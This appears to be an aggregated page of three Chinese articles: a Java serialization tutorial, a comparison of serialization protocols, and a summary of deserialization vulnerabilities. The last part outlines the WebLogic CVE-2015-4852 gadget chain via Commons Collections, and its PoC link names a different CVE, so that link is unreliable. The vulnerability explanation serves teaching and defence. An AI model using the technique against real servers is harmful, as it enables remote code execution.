精华内容
参与话题
问答
  • 序列化和反序列化的详解

    万次阅读 多人点赞 2018-09-19 09:09:29
    1、序列化和反序列化的定义:  (1)Java序列化就是指把Java对象转换为字节序列的过程  Java反序列化就是指把字节序列恢复为Java对象的过程。  (2)序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可...

    一、基本概念

    1、序列化和反序列化的定义:

        (1)Java序列化就是指把Java对象转换为字节序列的过程

            Java反序列化就是指把字节序列恢复为Java对象的过程。

       (2)序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

           反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

       总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)

     

    2、json/xml的数据传递:

     在数据传输(也可称为网络传输)前,先通过序列化工具类将Java对象序列化为json/xml文件。

    在数据传输(也可称为网络传输)后,再将json/xml文件反序列化为对应语言的对象

     

    3、序列化优点:

     ①将对象转为字节流存储到硬盘上,当JVM停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象,并且序列化的二进制序列能够减少存储空间(永久性保存对象)。

     ②序列化成字节流形式的对象可以进行网络传输(二进制形式),方便了网络传输。

     ③通过序列化可以在进程间传递对象。

     

    4、序列化算法需要做的事:

      ① 将对象实例相关的类元数据输出。

      ② 递归地输出类的超类描述直到不再有超类。

      ③ 类元数据输出完毕后,从最顶端的超类开始输出对象实例的实际数据值。

      ④ 从上至下递归输出实例的数据。

     

    二、Java实现序列化和反序列化的过程

       1、实现序列化的必备要求:

           只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) 

       2、JDK中序列化和反序列化的API:

          ①java.io.ObjectInputStream:对象输入流。

              该类的readObject()方法从输入流中读取字节序列,然后将字节序列反序列化为一个对象并返回。

         ②java.io.ObjectOutputStream:对象输出流。

              该类的writeObject(Object obj)方法将将传入的obj对象进行序列化,把得到的字节序列写入到目标输出流中进行输出。

     3、实现序列化和反序列化的三种实现:

      ①若Student类仅仅实现了Serializable接口,则可以按照以下方式进行序列化和反序列化。

                 ObjectOutputStream采用默认的序列化方式,对Student对象的非transient的实例变量进行序列化。 
                 ObjcetInputStream采用默认的反序列化方式,对Student对象的非transient的实例变量进行反序列化。

      ②若Student类仅仅实现了Serializable接口,并且还定义了readObject(ObjectInputStream in)和writeObject(ObjectOutputSteam out),则采用以下方式进行序列化与反序列化。

               ObjectOutputStream调用Student对象的writeObject(ObjectOutputStream out)的方法进行序列化。 
               ObjectInputStream会调用Student对象的readObject(ObjectInputStream in)的方法进行反序列化。

      ③若Student类实现了Externalnalizable接口,且Student类必须实现readExternal(ObjectInput in)和writeExternal(ObjectOutput out)方法,则按照以下方式进行序列化与反序列化。

               ObjectOutputStream调用Student对象的writeExternal(ObjectOutput out))的方法进行序列化。 
               ObjectInputStream会调用Student对象的readExternal(ObjectInput in)的方法进行反序列化。

    4、序列化和反序列化代码示例

    public class SerializableTest {
            public static void main(String[] args) throws IOException, ClassNotFoundException {
                //序列化
                FileOutputStream fos = new FileOutputStream("object.out");
                ObjectOutputStream oos = new ObjectOutputStream(fos);
                Student student1 = new Student("lihao", "wjwlh", "21");
                oos.writeObject(student1);
                oos.flush();
                oos.close();
                //反序列化
                FileInputStream fis = new FileInputStream("object.out");
                ObjectInputStream ois = new ObjectInputStream(fis);
                Student student2 = (Student) ois.readObject();
                System.out.println(student2.getUserName()+ " " +
                        student2.getPassword() + " " + student2.getYear());
        }
    
    }
    
    public class Student implements Serializable{                             
                                                                              
        private static final long serialVersionUID = -6060343040263809614L;   
                                                                              
        private String userName;                                              
        private String password;                                              
        private String year;                                                  
                                                                              
        public String getUserName() {                                         
            return userName;                                                  
        }                                                                     
                                                                              
        public String getPassword() {                                         
            return password;                                                  
        }                                                                     
                                                                              
        public void setUserName(String userName) {                            
            this.userName = userName;                                         
        }                                                                     
                                                                              
        public void setPassword(String password) {                            
            this.password = password;                                         
        }                                                                     
                                                                              
        public String getYear() {                                             
            return year;                                                      
        }                                                                     
                                                                              
        public void setYear(String year) {                                    
            this.year = year;                                                 
        }                                                                     
                                                                              
        public Student(String userName, String password, String year) {       
            this.userName = userName;                                         
            this.password = password;                                         
            this.year = year;                                                 
        }                                                                     
    }                                                                         
                                                                              

     ①序列化图示

    ②反序列化图示

    三、序列化和反序列化的注意点:

    ①序列化时,只对对象的状态进行保存,而不管对象的方法;

    ②当一个父类实现序列化,子类自动实现序列化,不需要显式实现Serializable接口;

    ③当一个对象的实例变量引用其他对象,序列化该对象时也把引用对象进行序列化;

    ④并非所有的对象都可以序列化,至于为什么不可以,有很多原因了,比如:

    • 安全方面的原因,比如一个对象拥有private,public等field,对于一个要传输的对象,比如写到文件,或者进行RMI传输等等,在序列化进行传输的过程中,这个对象的private等域是不受保护的;

    • 资源分配方面的原因,比如socket,thread类,如果可以序列化,进行传输或者保存,也无法对他们进行重新的资源分配,而且,也是没有必要这样实现;

    ⑤声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态,transient代表对象的临时数据。

    ⑥序列化运行时使用一个称为 serialVersionUID 的版本号与每个可序列化类相关联,该序列号在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类。为它赋予明确的值。显式地定义serialVersionUID有两种用途:

    • 在某些场合,希望类的不同版本对序列化兼容,因此需要确保类的不同版本具有相同的serialVersionUID;

    • 在某些场合,不希望类的不同版本对序列化兼容,因此需要确保类的不同版本具有不同的serialVersionUID。

    ⑦Java有很多基础类已经实现了serializable接口,比如String,Vector等。但是也有一些没有实现serializable接口的;

    ⑧如果一个对象的成员变量是一个对象,那么这个对象的数据成员也会被保存!这是能用序列化解决深拷贝的重要原因;

    注意:浅拷贝请使用Clone接口的原型模式。

    展开全文
  • 几种常用序列化和反序列化方法

    千次阅读 2017-02-06 14:59:55
    序列化和反序列化几乎是工程师们每天都要面对的事情,但是要精确掌握这两个概念并不容易:一方面,它们往往作为框架的一部分出现而湮没在框架之中;另一方面,它们会以其他更容易理解的概念出现,例如加密、持久化。...

    摘要

    序列化和反序列化几乎是工程师们每天都要面对的事情,但是要精确掌握这两个概念并不容易:一方面,它们往往作为框架的一部分出现而湮没在框架之中;另一方面,它们会以其他更容易理解的概念出现,例如加密、持久化。然而,序列化和反序列化的选型却是系统设计或重构一个重要的环节,在分布式、大数据量系统设计里面更为显著。恰当的序列化协议不仅可以提高系统的通用性、强健性、安全性、优化系统性能,而且会让系统更加易于调试、便于扩展。本文从多个角度去分析和讲解“序列化和反序列化”,并对比了当前流行的几种序列化协议,期望对读者做序列化选型有所帮助。

    简介

    文章作者服务于美团推荐与个性化组,该组致力于为美团用户提供每天billion级别的高质量个性化推荐以及排序服务。从Terabyte级别的用户行为数据,到Gigabyte级别的Deal/Poi数据;从对实时性要求毫秒以内的用户实时地理位置数据,到定期后台job数据,推荐与重排序系统需要多种类型的数据服务。推荐与重排序系统客户包括各种内部服务、美团客户端、美团网站。为了提供高质量的数据服务,为了实现与上下游各系统进行良好的对接,序列化和反序列化的选型往往是我们做系统设计的一个重要考虑因素。

    本文内容按如下方式组织:

    • 第一部分给出了序列化和反序列化的定义,以及其在通讯协议中所处的位置。

    • 第二部分从使用者的角度探讨了序列化协议的一些特性。

    • 第三部分描述在具体的实施过程中典型的序列化组件,并与数据库组建进行了类比。

    • 第四部分分别讲解了目前常见的几种序列化协议的特性,应用场景,并对相关组件进行举例。

    • 最后一部分,基于各种协议的特性,以及相关benchmark数据,给出了作者的技术选型建议。

    一、定义以及相关概念

    互联网的产生带来了机器间通讯的需求,而互联通讯的双方需要采用约定的协议,序列化和反序列化属于通讯协议的一部分。通讯协议往往采用分层模型,不同模型每层的功能定义以及颗粒度不同,例如:TCP/IP协议是一个四层协议,而OSI模型却是七层协议模型。在OSI七层协议模型中展现层(Presentation Layer)的主要功能是把应用层的对象转换成一段连续的二进制串,或者反过来,把二进制串转换成应用层的对象–这两个功能就是序列化和反序列化。一般而言,TCP/IP协议的应用层对应与OSI七层协议模型的应用层,展示层和会话层,所以序列化协议属于TCP/IP协议应用层的一部分。本文对序列化协议的讲解主要基于OSI七层协议模型。

    • 序列化: 将数据结构或对象转换成二进制串的过程

    • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

    数据结构、对象与二进制串

    不同的计算机语言中,数据结构,对象以及二进制串的表示方式并不相同。

    数据结构和对象:对于类似Java这种完全面向对象的语言,工程师所操作的一切都是对象(Object),来自于类的实例化。在Java语言中最接近数据结构的概念,就是POJO(Plain Old Java Object)或者Javabean--那些只有setter/getter方法的类。而在C++这种半面向对象的语言中,数据结构和struct对应,对象和class对应。

    二进制串:序列化所生成的二进制串指的是存储在内存中的一块数据。C++语言具有内存操作符,所以二进制串的概念容易理解,例如,C++语言的字符串可以直接被传输层使用,因为其本质上就是以'\0'结尾的存储在内存中的二进制串。在Java语言里面,二进制串的概念容易和String混淆。实际上String 是Java的一等公民,是一种特殊对象(Object)。对于跨语言间的通讯,序列化后的数据当然不能是某种语言的特殊数据类型。二进制串在Java里面所指的是byte[],byte是Java的8中原生数据类型之一(Primitive data types)。

    二、序列化协议特性

    每种序列化协议都有优点和缺点,它们在设计之初有自己独特的应用场景。在系统设计的过程中,需要考虑序列化需求的方方面面,综合对比各种序列化协议的特性,最终给出一个折衷的方案。

    通用性

    通用性有两个层面的意义: 
    第一、技术层面,序列化协议是否支持跨平台、跨语言。如果不支持,在技术层面上的通用性就大大降低了。 
    第二、流行程度,序列化和反序列化需要多方参与,很少人使用的协议往往意味着昂贵的学习成本;另一方面,流行度低的协议,往往缺乏稳定而成熟的跨语言、跨平台的公共包。

    强健性/鲁棒性

    以下两个方面的原因会导致协议不够强健: 
    第一、成熟度不够,一个协议从制定到实施,到最后成熟往往是一个漫长的阶段。协议的强健性依赖于大量而全面的测试,对于致力于提供高质量服务的系统,采用处于测试阶段的序列化协议会带来很高的风险。 
    第二、语言/平台的不公平性。为了支持跨语言、跨平台的功能,序列化协议的制定者需要做大量的工作;但是,当所支持的语言或者平台之间存在难以调和的特性的时候,协议制定者需要做一个艰难的决定–支持更多人使用的语言/平台,亦或支持更多的语言/平台而放弃某个特性。当协议的制定者决定为某种语言或平台提供更多支持的时候,对于使用者而言,协议的强健性就被牺牲了。

    可调试性/可读性

    序列化和反序列化的数据正确性和业务正确性的调试往往需要很长的时间,良好的调试机制会大大提高开发效率。序列化后的二进制串往往不具备人眼可读性,为了验证序列化结果的正确性,写入方不得同时撰写反序列化程序,或提供一个查询平台–这比较费时;另一方面,如果读取方未能成功实现反序列化,这将给问题查找带来了很大的挑战–难以定位是由于自身的反序列化程序的bug所导致还是由于写入方序列化后的错误数据所导致。对于跨公司间的调试,由于以下原因,问题会显得更严重: 
    第一、支持不到位,跨公司调试在问题出现后可能得不到及时的支持,这大大延长了调试周期。 
    第二、访问限制,调试阶段的查询平台未必对外公开,这增加了读取方的验证难度。

    如果序列化后的数据人眼可读,这将大大提高调试效率, XML和JSON就具有人眼可读的优点。

    性能

    性能包括两个方面,时间复杂度和空间复杂度: 
    第一、空间开销(Verbosity), 序列化需要在原有的数据上加上描述字段,以为反序列化解析之用。如果序列化过程引入的额外开销过高,可能会导致过大的网络,磁盘等各方面的压力。对于海量分布式存储系统,数据量往往以TB为单位,巨大的的额外空间开销意味着高昂的成本。 
    第二、时间开销(Complexity),复杂的序列化协议会导致较长的解析时间,这可能会使得序列化和反序列化阶段成为整个系统的瓶颈。

    可扩展性/兼容性

    移动互联时代,业务系统需求的更新周期变得更快,新的需求不断涌现,而老的系统还是需要继续维护。如果序列化协议具有良好的可扩展性,支持自动增加新的业务字段,而不影响老的服务,这将大大提供系统的灵活度。

    安全性/访问限制

    在序列化选型的过程中,安全性的考虑往往发生在跨局域网访问的场景。当通讯发生在公司之间或者跨机房的时候,出于安全的考虑,对于跨局域网的访问往往被限制为基于HTTP/HTTPS的80和443端口。如果使用的序列化协议没有兼容而成熟的HTTP传输层框架支持,可能会导致以下三种结果之一: 
    第一、因为访问限制而降低服务可用性。 
    第二、被迫重新实现安全协议而导致实施成本大大提高。 
    第三、开放更多的防火墙端口和协议访问,而牺牲安全性。

    三、序列化和反序列化的组件

    典型的序列化和反序列化过程往往需要如下组件:

    • IDL(Interface description language)文件:参与通讯的各方需要对通讯的内容需要做相关的约定(Specifications)。为了建立一个与语言和平台无关的约定,这个约定需要采用与具体开发语言、平台无关的语言来进行描述。这种语言被称为接口描述语言(IDL),采用IDL撰写的协议约定称之为IDL文件。

    • IDL Compiler:IDL文件中约定的内容为了在各语言和平台可见,需要有一个编译器,将IDL文件转换成各语言对应的动态库。

    • Stub/Skeleton Lib:负责序列化和反序列化的工作代码。Stub是一段部署在分布式系统客户端的代码,一方面接收应用层的参数,并对其序列化后通过底层协议栈发送到服务端,另一方面接收服务端序列化后的结果数据,反序列化后交给客户端应用层;Skeleton部署在服务端,其功能与Stub相反,从传输层接收序列化参数,反序列化后交给服务端应用层,并将应用层的执行结果序列化后最终传送给客户端Stub。

    • Client/Server:指的是应用层程序代码,他们面对的是IDL所生存的特定语言的class或struct。

    • 底层协议栈和互联网:序列化之后的数据通过底层的传输层、网络层、链路层以及物理层协议转换成数字信号在互联网中传递。

    序列化组件与数据库访问组件的对比

    数据库访问对于很多工程师来说相对熟悉,所用到的组件也相对容易理解。下表类比了序列化过程中用到的部分组件和数据库访问组件的对应关系,以便于大家更好的把握序列化相关组件的概念。

    序列化组件

    数据库组件

    说明

    IDL

    DDL

    用于建表或者模型的语言

    DL file

    DB Schema

    表创建文件或模型文件

    Stub/Skeleton lib

    O/R mapping

    将class和Table或者数据模型进行映射

    四、几种常见的序列化和反序列化协议

    互联网早期的序列化协议主要有COM和CORBA。

    COM主要用于Windows平台,并没有真正实现跨平台,另外COM的序列化的原理利用了编译器中虚表,使得其学习成本巨大(想一下这个场景, 工程师需要是简单的序列化协议,但却要先掌握语言编译器)。由于序列化的数据与编译器紧耦合,扩展属性非常麻烦。

    CORBA是早期比较好的实现了跨平台,跨语言的序列化协议。COBRA的主要问题是参与方过多带来的版本过多,版本之间兼容性较差,以及使用复杂晦涩。这些政治经济,技术实现以及早期设计不成熟的问题,最终导致COBRA的渐渐消亡。J2SE 1.3之后的版本提供了基于CORBA协议的RMI-IIOP技术,这使得Java开发者可以采用纯粹的Java语言进行CORBA的开发。

    这里主要介绍和对比几种当下比较流行的序列化协议,包括XML、JSON、Protobuf、Thrift和Avro。

    一个例子

    如前所述,序列化和反序列化的出现往往晦涩而隐蔽,与其他概念之间往往相互包容。为了更好了让大家理解序列化和反序列化的相关概念在每种协议里面的具体实现,我们将一个例子穿插在各种序列化协议讲解中。在该例子中,我们希望将一个用户信息在多个系统里面进行传递;在应用层,如果采用Java语言,所面对的类对象如下所示:

    class Address{     private String city;     private String postcode;     private String street;} publicclass UserInfo { private Integer userid;     private String name;     private List<Address> address;}

    XML&SOAP

    XML是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点。 XML历史悠久,其1.0版本早在1998年就形成标准,并被广泛使用至今。XML的最初产生目标是对互联网文档(Document)进行标记,所以它的设计理念中就包含了对于人和机器都具备可读性。 但是,当这种标记文档的设计被用来序列化对象的时候,就显得冗长而复杂(Verbose and Complex)。 XML本质上是一种描述语言,并且具有自我描述(Self-describing)的属性,所以XML自身就被用于XML序列化的IDL。 标准的XML描述格式有两种:DTD(Document Type Definition)和XSD(XML Schema Definition)。作为一种人眼可读(Human-readable)的描述语言,XML被广泛使用在配置文件中,例如O/R mapping、 Spring Bean Configuration File 等。

    SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于XML为序列化和反序列化协议的结构化消息传递协议。SOAP在互联网影响如此大,以至于我们给基于SOAP的解决方案一个特定的名称–Web service。SOAP虽然可以支持多种传输层协议,不过SOAP最常见的使用方式还是XML+HTTP。SOAP协议的主要接口描述语言(IDL)是WSDL(Web Service Description Language)。SOAP具有安全、可扩展、跨语言、跨平台并支持多种传输层协议。如果不考虑跨平台和跨语言的需求,XML的在某些语言里面具有非常简单易用的序列化使用方法,无需IDL文件和第三方编译器, 例如Java+XStream。

    自我描述与递归

    SOAP是一种采用XML进行序列化和反序列化的协议,它的IDL是WSDL. 而WSDL的描述文件是XSD,而XSD自身是一种XML文件。 这里产生了一种有趣的在数学上称之为“递归”的问题,这种现象往往发生在一些具有自我属性(Self-description)的事物上。

    IDL文件举例

    采用WSDL描述上述用户基本信息的例子如下:

    < xsd:complexType name = 'Address' > < xsd:attribute name = 'city' type = 'xsd:string' /> < xsd:attribute name = 'postcode' type = 'xsd:string' /> < xsd:attribute name = 'street' type = 'xsd:string'/> </ xsd:complexType > < xsd:complexType name = 'UserInfo' > < xsd:sequence > < xsd:element name = 'address' type = 'tns:Address' /> < xsd:element name = 'address1' type = 'tns:Address'/> </ xsd:sequence > < xsd:attribute name = 'userid' type = 'xsd:int' /> < xsd:attribute name = 'name' type = 'xsd:string' /> </ xsd:complexType >

    典型应用场景和非应用场景

    SOAP协议具有广泛的群众基础,基于HTTP的传输协议使得其在穿越防火墙时具有良好安全特性,XML所具有的人眼可读(Human-readable)特性使得其具有出众的可调试性,互联网带宽的日益剧增也大大弥补了其空间开销大(Verbose)的缺点。对于在公司之间传输数据量相对小或者实时性要求相对低(例如秒级别)的服务是一个好的选择。

    由于XML的额外空间开销大,序列化之后的数据量剧增,对于数据量巨大序列持久化应用常景,这意味着巨大的内存和磁盘开销,不太适合XML。另外,XML的序列化和反序列化的空间和时间开销都比较大,对于对性能要求在ms级别的服务,不推荐使用。WSDL虽然具备了描述对象的能力,SOAP的S代表的也是simple,但是SOAP的使用绝对不简单。对于习惯于面向对象编程的用户,WSDL文件不直观。

    JSON(Javascript Object Notation)

    JSON起源于弱类型语言Javascript, 它的产生来自于一种称之为"Associative array"的概念,其本质是就是采用"Attribute-value"的方式来描述对象。实际上在Javascript和PHP等弱类型语言中,类的描述方式就是Associative array。JSON的如下优点,使得它快速成为最广泛使用的序列化协议之一:

    1、这种Associative array格式非常符合工程师对对象的理解。

    2、它保持了XML的人眼可读(Human-readable)的优点。

    http://www.codeproject.com/Articles/604720/JSON-vs-XML-Some-hard-numbers-about-verbosity

    4、它具备Javascript的先天性支持,所以被广泛应用于Web browser的应用常景中,是Ajax的事实标准协议。

    5、与XML相比,其协议比较简单,解析速度比较快。

    6、松散的Associative array使得其具有良好的可扩展性和兼容性。

    IDL悖论

    JSON实在是太简单了,或者说太像各种语言里面的类了,所以采用JSON进行序列化不需要IDL。这实在是太神奇了,存在一种天然的序列化协议,自身就实现了跨语言和跨平台。然而事实没有那么神奇,之所以产生这种假象,来自于两个原因: 
    第一、Associative array在弱类型语言里面就是类的概念,在PHP和Javascript里面Associative array就是其class的实际实现方式,所以在这些弱类型语言里面,JSON得到了非常良好的支持。 
    第二、IDL的目的是撰写IDL文件,而IDL文件被IDL Compiler编译后能够产生一些代码(Stub/Skeleton),而这些代码是真正负责相应的序列化和反序列化工作的组件。 但是由于Associative array和一般语言里面的class太像了,他们之间形成了一一对应关系,这就使得我们可以采用一套标准的代码进行相应的转化。对于自身支持Associative array的弱类型语言,语言自身就具备操作JSON序列化后的数据的能力;对于Java这强类型语言,可以采用反射的方式统一解决,例如Google提供的Gson。

    典型应用场景和非应用场景

    JSON在很多应用场景中可以替代XML,更简洁并且解析速度更快。典型应用场景包括: 
    1、公司之间传输数据量相对小,实时性要求相对低(例如秒级别)的服务。 
    2、基于Web browser的Ajax请求。 
    3、由于JSON具有非常强的前后兼容性,对于接口经常发生变化,并对可调式性要求高的场景,例如Mobile app与服务端的通讯。 
    4、由于JSON的典型应用场景是JSON+HTTP,适合跨防火墙访问。

    总的来说,采用JSON进行序列化的额外空间开销比较大,对于大数据量服务或持久化,这意味着巨大的内存和磁盘开销,这种场景不适合。没有统一可用的IDL降低了对参与方的约束,实际操作中往往只能采用文档方式来进行约定,这可能会给调试带来一些不便,延长开发周期。 由于JSON在一些语言中的序列化和反序列化需要采用反射机制,所以在性能要求为ms级别,不建议使用。

    IDL文件举例

    以下是UserInfo序列化之后的一个例子:

    {" userid ": 1 ," name ": "messi" ," address ": [{" city ": "北京" ," postcode ": "1000000" ," street ": "wangjingdonglu" }] }

    Thrift

    Thrift是Facebook开源提供的一个高性能,轻量级RPC服务框架,其产生正是为了满足当前大数据量、分布式、跨语言、跨平台数据通讯的需求。 但是,Thrift并不仅仅是序列化协议,而是一个RPC框架。相对于JSON和XML而言,Thrift在空间开销和解析性能上有了比较大的提升,对于对性能要求比较高的分布式系统,它是一个优秀的RPC解决方案;但是由于Thrift的序列化被嵌入到Thrift框架里面,Thrift框架本身并没有透出序列化和反序列化接口,这导致其很难和其他传输层协议共同使用(例如HTTP)。

    典型应用场景和非应用场景

    对于需求为高性能,分布式的RPC服务,Thrift是一个优秀的解决方案。它支持众多语言和丰富的数据类型,并对于数据字段的增删具有较强的兼容性。所以非常适用于作为公司内部的面向服务构建(SOA)的标准RPC框架。

    不过Thrift的文档相对比较缺乏,目前使用的群众基础相对较少。另外由于其Server是基于自身的Socket服务,所以在跨防火墙访问时,安全是一个顾虑,所以在公司间进行通讯时需要谨慎。 另外Thrift序列化之后的数据是Binary数组,不具有可读性,调试代码时相对困难。最后,由于Thrift的序列化和框架紧耦合,无法支持向持久层直接读写数据,所以不适合做数据持久化序列化协议。

    IDL文件举例

    struct Address{     1: required string city;    2: optional string postcode;    3: optional string street;} struct UserInfo{     1: required string userid;    2: required i32 name;    3: optional list<Address> address;}

    Protobuf

    Protobuf具备了优秀的序列化协议的所需的众多典型特征: 
    1、标准的IDL和IDL编译器,这使得其对工程师非常友好。 
    2、序列化数据非常简洁,紧凑,与XML相比,其序列化之后的数据量约为1/3到1/10。 
    3、解析速度非常快,比对应的XML快约20-100倍。 
    4、提供了非常友好的动态库,使用非常简介,反序列化只需要一行代码。

    Protobuf是一个纯粹的展示层协议,可以和各种传输层协议一起使用;Protobuf的文档也非常完善。 但是由于Protobuf产生于Google,所以目前其仅仅支持Java、C++、Python三种语言。另外Protobuf支持的数据类型相对较少,不支持常量类型。由于其设计的理念是纯粹的展现层协议(Presentation Layer),目前并没有一个专门支持Protobuf的RPC框架。

    典型应用场景和非应用场景

    Protobuf具有广泛的用户基础,空间开销小以及高解析性能是其亮点,非常适合于公司内部的对性能要求高的RPC调用。由于Protobuf提供了标准的IDL以及对应的编译器,其IDL文件是参与各方的非常强的业务约束,另外,Protobuf与传输层无关,采用HTTP具有良好的跨防火墙的访问属性,所以Protobuf也适用于公司间对性能要求比较高的场景。由于其解析性能高,序列化后数据量相对少,非常适合应用层对象的持久化场景。

    它的主要问题在于其所支持的语言相对较少,另外由于没有绑定的标准底层传输层协议,在公司间进行传输层协议的调试工作相对麻烦。

    IDL文件举例

    message Address{    required string city=1;        optional string postcode=2;        optional string street=3;}message UserInfo{    required string userid=1;    required string name=2;    repeated Address address=3;}

    Avro

    Avro的产生解决了JSON的冗长和没有IDL的问题,Avro属于Apache Hadoop的一个子项目。 Avro提供两种序列化格式:JSON格式或者Binary格式。Binary格式在空间开销和解析性能方面可以和Protobuf媲美,JSON格式方便测试阶段的调试。 Avro支持的数据类型非常丰富,包括C++语言里面的union类型。Avro支持JSON格式的IDL和类似于Thrift和Protobuf的IDL(实验阶段),这两者之间可以互转。Schema可以在传输数据的同时发送,加上JSON的自我描述属性,这使得Avro非常适合动态类型语言。 Avro在做文件持久化的时候,一般会和Schema一起存储,所以Avro序列化文件自身具有自我描述属性,所以非常适合于做Hive、Pig和MapReduce的持久化数据格式。对于不同版本的Schema,在进行RPC调用的时候,服务端和客户端可以在握手阶段对Schema进行互相确认,大大提高了最终的数据解析速度。

    典型应用场景和非应用场景

    Avro解析性能高并且序列化之后的数据非常简洁,比较适合于高性能的序列化服务。

    由于Avro目前非JSON格式的IDL处于实验阶段,而JSON格式的IDL对于习惯于静态类型语言的工程师来说不直观。

    IDL文件举例

    protocol Userservice {  record Address {   string city ;   string postcode ;   string street ;  }    record UserInfo {   string name ;   int userid ;   array<Address> address = [] ;  }}

    所对应的JSON Schema格式如下:

    {  " protocol " : "Userservice" ,  " namespace " : "org.apache.avro.ipc.specific" ,  " version " : "1.0.5" ,  " types " : [ {    " type " : "record" ,    " name " : "Address" ,    " fields " : [ {      " name " : "city" ,      " type " : "string" }, {      " name " : "postcode" ,      " type " : "string" }, {      " name " : "street",      " type " : "string" } ]   }, {    " type " : "record" ,    " name " : "UserInfo" ,    " fields " : [ {      " name " : "name" ,      " type " : "string" }, {      " name " : "userid" ,      " type " : "int" }, {      " name " : "address" ,      " type " : {        " type " : "array" ,        " items " : "Address" } ,      " default " : [ ]     } ]   } ] ,  " messages " : { } }

    五、Benchmark以及选型建议

    Benchmark

    以下数据来自 https://code.google.com/p/thrift-protobuf-compare/wiki/Benchmarking

    解析性能

    序列化之空间开销

    从上图可得出如下结论: 
    1、XML序列化(Xstream)无论在性能和简洁性上比较差。 
    2、Thrift与Protobuf相比在时空开销方面都有一定的劣势。 
    3、Protobuf和Avro在两方面表现都非常优越。

    选型建议

    以上描述的五种序列化和反序列化协议都各自具有相应的特点,适用于不同的场景: 
    1、对于公司间的系统调用,如果性能要求在100ms以上的服务,基于XML的SOAP协议是一个值得考虑的方案。 
    2、基于Web browser的Ajax,以及Mobile app与服务端之间的通讯,JSON协议是首选。对于性能要求不太高,或者以动态类型语言为主,或者传输数据载荷很小的的运用场景,JSON也是非常不错的选择。 
    3、对于调试环境比较恶劣的场景,采用JSON或XML能够极大的提高调试效率,降低系统开发成本。 
    4、当对性能和简洁性有极高要求的场景,Protobuf,Thrift,Avro之间具有一定的竞争关系。 
    5、对于T级别的数据的持久化应用场景,Protobuf和Avro是首要选择。如果持久化后的数据存储在Hadoop子项目里,Avro会是更好的选择。 
    6、由于Avro的设计理念偏向于动态类型语言,对于动态语言为主的应用场景,Avro是更好的选择。 
    7、对于持久层非Hadoop项目,以静态类型语言为主的应用场景,Protobuf会更符合静态类型语言工程师的开发习惯。 
    8、如果需要提供一个完整的RPC解决方案,Thrift是一个好的选择。 
    9、如果序列化之后需要支持不同的传输层协议,或者需要跨防火墙访问的高性能场景,Protobuf可以优先考虑。

    展开全文
  • 反序列漏洞汇总

    万次阅读 2018-07-03 17:10:51
    反序列化漏洞汇总1、概述序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。...反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类...

    反序列化漏洞汇总

    1、概述

    序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

     

    Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

    条件:

    类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。
    可通过SerializationDumper这个工具来查看其存储格式,主要包括Magic头:0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle

    示例:

     

    代码功能:

    String对象obj1序列化后写入object文件,后反序列化得到对象obj2

    Object文件中的内容:

     

    Ac ed 00 05java序列化内容的特征,编码后是rO0ABQ==

     

    使用场景:
    • http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
    • Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed)
    • xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
    • json(Jackson,fastjson) http请求中包含

    2、漏洞成因

    序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

    漏洞案例:

     

    Test.classMyObject类有一个共有属性namemyObj实例化后将myObj.name赋值为了“hi”,然后序列话写入object

     

    漏洞发生在反序列化过程,MyObject类实现了Serializable接口,并重写了readObject()函数(从源输入流中读取字节序列,反序列化成对象),这里定制的行为是打开计算器:

     

    攻击时序图:


    3、Weblogic反序列化漏洞汇总

    历史漏洞:

     

    3.1 CVE-2015-4852 Commons Collections

     

    概述:

    借用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行。这个漏洞横扫WebLogicWebSphereJBossJenkinsOpenNMS的最新版。

    漏洞出现在WLS Security组件允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。

    T3 协议在 WebLogic Server 和其他 Java 程序,包括客户端及其他 WebLogic Server 实例间传输数据)

    漏洞分析:

    Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,TransformerTransformedMap实例化时作为参数传入。(可控变量)

     

    如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。

    于是找到了这个类:AnnotationInvocationHandler。该类的代码如下(反序列化)

     

    我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。

     

    分析:https://security.tencent.com/index.php/blog/msg/97

    Pochttps://github.com/fjserna/CVE-2015-7547

    修复办法:

     

    http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html

